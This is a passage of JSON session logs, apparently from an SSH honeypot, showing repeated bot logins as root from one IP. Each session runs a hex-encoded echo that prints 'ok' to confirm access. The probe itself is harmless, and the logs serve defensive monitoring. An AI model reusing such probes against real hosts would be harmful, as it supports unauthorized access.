  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:44.093355+00:00",
  "ended_at": "2026-08-23T09:39:45.928029+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8d00bb19-20b6-4544-901e-a1c8f9511f9d",
  "name": "gritty-woven-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56954,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:42.123101+00:00",
  "ended_at": "2026-08-23T09:39:43.369001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c1e276d9-cc31-4609-a862-8cda1f4bb6d8",
  "name": "golden-candid-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:39.069304+00:00",
  "ended_at": "2026-08-23T09:39:41.293983+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "23de0f36-9945-41eb-ab3b-afd65811a1d8",
  "name": "jagged-rugged-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50342,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:36.037065+00:00",
  "ended_at": "2026-08-23T09:39:38.256018+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bdb2f7b9-a4a3-429a-b409-48ca90ca0e72",
  "name": "fabled-hollow-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50338,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:33.416071+00:00",
  "ended_at": "2026-08-23T09:39:35.289116+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dd319f4e-890d-465b-b5c3-e0c5f53609bc",
  "name": "flinty-gritty-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50336,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:31.591456+00:00",
  "ended_at": "2026-08-23T09:39:32.730300+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c4558dae-5db4-4edc-9315-4c867ef975d1",
  "name": "scarlet-crystal-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54392,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:28.640678+00:00",
  "ended_at": "2026-08-23T09:39:30.894001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1a194e1a-cde2-4ba3-870b-2e2481f2d72c",
  "name": "balmy-brave-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54378,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:25.855110+00:00",
  "ended_at": "2026-08-23T09:39:27.839017+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "28dccc6a-6c43-46b7-9f56-1be9143e918e",
  "name": "boreal-airy-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54368,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:23.655083+00:00",
  "ended_at": "2026-08-23T09:39:25.094389+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e605d86f-17c6-432b-b854-5cea50223967",
  "name": "zealous-stormy-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54366,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:20.657057+00:00",
  "ended_at": "2026-08-23T09:39:22.930999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fc817802-2e7a-4cb6-b3e3-88fa1c7ee48e",
  "name": "rambling-salty-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40730,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:18.311123+00:00",
  "ended_at": "2026-08-23T09:39:19.985501+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "778f4609-e452-4e76-8b02-7d061518b2b8",
  "name": "creaky-gloomy-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40726,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:15.863655+00:00",
  "ended_at": "2026-08-23T09:39:17.595089+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0334e8a7-d60c-4ce7-a026-7b5ac23f23b2",
  "name": "windswept-lunar-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40714,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:13.708105+00:00",
  "ended_at": "2026-08-23T09:39:15.206648+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "52af87e1-ec5b-4b66-ba13-47e33769bb97",
  "name": "hidden-obsidian-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40706,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:10.661557+00:00",
  "ended_at": "2026-08-23T09:39:12.835609+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b8cf8570-04c5-4052-8577-a62eb649ff68",
  "name": "dusty-hidden-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53714,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:08.062454+00:00",
  "ended_at": "2026-08-23T09:39:09.828017+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b6fb021b-4dc9-4bcb-927e-a5df7b4a5cd1",
  "name": "jaunty-lanky-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53704,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:39:05.831050+00:00",
  "ended_at": "2026-08-23T09:39:07.342017+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "77495db9-4e44-4611-b150-bff263e3866a",
  "name": "whispering-blithe-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53702,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:59.826166+00:00",
  "ended_at": "2026-08-23T09:39:05.122067+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7df2ae3e-54f7-47b0-a108-8030625c6927",
  "name": "steady-foggy-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43492,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:58.138517+00:00",
  "ended_at": "2026-08-23T09:38:59.087998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b0c4b29b-acdd-4a35-9896-e1ba8d80ddad",
  "name": "hearty-granite-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:55.934096+00:00",
  "ended_at": "2026-08-23T09:38:57.328006+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d0f9d906-a583-4827-837d-2ed69ad62314",
  "name": "hushed-lanky-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43470,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:53.078327+00:00",
  "ended_at": "2026-08-23T09:38:55.109025+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "06792d35-ed39-4189-897c-3e674c438892",
  "name": "early-rambling-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43460,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:50.993110+00:00",
  "ended_at": "2026-08-23T09:38:52.446027+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e1295828-a050-498d-9447-655f3651caa2",
  "name": "primal-ginger-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:48.924237+00:00",
  "ended_at": "2026-08-23T09:38:50.268011+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ca3d4780-d92f-49c0-9282-784a0c1fb785",
  "name": "dutiful-honest-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47854,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:46.016512+00:00",
  "ended_at": "2026-08-23T09:38:48.124086+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a88e2fae-4743-49a4-96ae-0df98a0096ee",
  "name": "kindly-downy-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47844,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:42.546176+00:00",
  "ended_at": "2026-08-23T09:38:45.252025+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d54f5e4c-3d45-4799-9ead-288b1cbb739c",
  "name": "russet-dutiful-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47840,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:40.279107+00:00",
  "ended_at": "2026-08-23T09:38:41.792009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1eb96bca-e454-4627-a8a8-b703821f4dd4",
  "name": "ancient-zealous-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40658,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:38.650662+00:00",
  "ended_at": "2026-08-23T09:38:39.673019+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "97821a2d-d98a-4c07-8a32-35699019d2ee",
  "name": "sturdy-rugged-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:36.751410+00:00",
  "ended_at": "2026-08-23T09:38:37.978110+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "af870822-d1a5-4e34-ad03-9fc914eceb18",
  "name": "gleaming-dusky-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40630,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:33.917497+00:00",
  "ended_at": "2026-08-23T09:38:36.100227+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "70d2dcc3-c449-4340-a438-0913c9aad141",
  "name": "icy-bashful-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40622,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:32.409210+00:00",
  "ended_at": "2026-08-23T09:38:33.307018+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8e02bf24-b747-4b89-b00a-3faf3c43a47f",
  "name": "rambling-misty-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:30.126506+00:00",
  "ended_at": "2026-08-23T09:38:31.768047+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "456dd4bf-a3fa-48fc-a6f4-5b19d32a1749",
  "name": "hardy-vaulted-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37004,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:27.346667+00:00",
  "ended_at": "2026-08-23T09:38:29.418308+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f1a82fe7-8758-4764-9a4e-22106fbdeeb4",
  "name": "russet-kindly-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36994,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:25.537310+00:00",
  "ended_at": "2026-08-23T09:38:26.660073+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "77b631e2-cbb3-4f76-bea6-ca1cbb07233d",
  "name": "indigo-jolly-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36986,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:23.391047+00:00",
  "ended_at": "2026-08-23T09:38:24.845314+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "69138a32-c8fa-4d87-8821-e5c0ead950d4",
  "name": "lonesome-hollow-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:21.705955+00:00",
  "ended_at": "2026-08-23T09:38:22.681157+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1dd79834-5e20-4edb-8daa-d7df21443c22",
  "name": "reedy-sullen-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36960,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:19.425441+00:00",
  "ended_at": "2026-08-23T09:38:21.065848+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "623a015a-d8e5-45ac-99a7-6b7c21e28452",
  "name": "lively-flinty-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:16.718157+00:00",
  "ended_at": "2026-08-23T09:38:18.768692+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "60c1f960-036f-41e8-bf9e-41bf37d614d0",
  "name": "thawing-burly-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:14.099580+00:00",
  "ended_at": "2026-08-23T09:38:16.005465+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "94f51649-1515-4995-8c5d-2cd612291b3b",
  "name": "early-wry-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:11.556415+00:00",
  "ended_at": "2026-08-23T09:38:13.369087+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0d7210ce-57b1-46bf-99ac-c031ff6ef7bf",
  "name": "whispering-dewy-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51436,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:09.157587+00:00",
  "ended_at": "2026-08-23T09:38:10.850020+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "770e6543-f993-43e9-95ff-7dca9cfb8e58",
  "name": "solemn-lofty-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49550,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:06.103527+00:00",
  "ended_at": "2026-08-23T09:38:08.379645+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8b4a2d4c-564d-4c88-9bd8-d527efd71e02",
  "name": "feral-brisk-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49536,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:03.712042+00:00",
  "ended_at": "2026-08-23T09:38:05.461875+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "59aebbe7-d478-4341-9386-01f5ce8a5d8a",
  "name": "knotted-prickly-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49534,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:38:01.952508+00:00",
  "ended_at": "2026-08-23T09:38:02.891785+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "419d9ed8-21ef-4ab2-9015-fa1eaa076665",
  "name": "windswept-jovial-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49524,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:59.993908+00:00",
  "ended_at": "2026-08-23T09:38:01.327473+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d7f4a260-cb98-4da2-817d-caf183e6ace1",
  "name": "tidal-alpine-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52718,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:57.407344+00:00",
  "ended_at": "2026-08-23T09:37:59.246834+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8b409efe-22d7-4a3b-ae4a-a7f0fe672ba0",
  "name": "ancient-hazy-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:54.649628+00:00",
  "ended_at": "2026-08-23T09:37:56.604067+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ec8fe31c-c1b9-4c74-ab09-8c3bf9c71a69",
  "name": "jovial-thawing-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52702,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:52.242888+00:00",
  "ended_at": "2026-08-23T09:37:54.005929+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ad5bdd02-773d-4ffd-b4bb-6c6544cc87ff",
  "name": "faded-lawful-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52698,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:49.978468+00:00",
  "ended_at": "2026-08-23T09:37:51.595889+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d7706903-80c9-4514-8e97-e4b918be3dbe",
  "name": "northern-rambling-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58118,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:47.967554+00:00",
  "ended_at": "2026-08-23T09:37:49.209438+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "49dd8641-b7c3-41ca-ab20-48bc325dceb3",
  "name": "flinty-reedy-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58112,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:37:45.271585+00:00",
  "ended_at": "2026-08-23T09:37:47.302316+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4e58910b-516c-476d-9be6-78b3ba0b1e27",
  "name": "snowy-candid-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58100,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
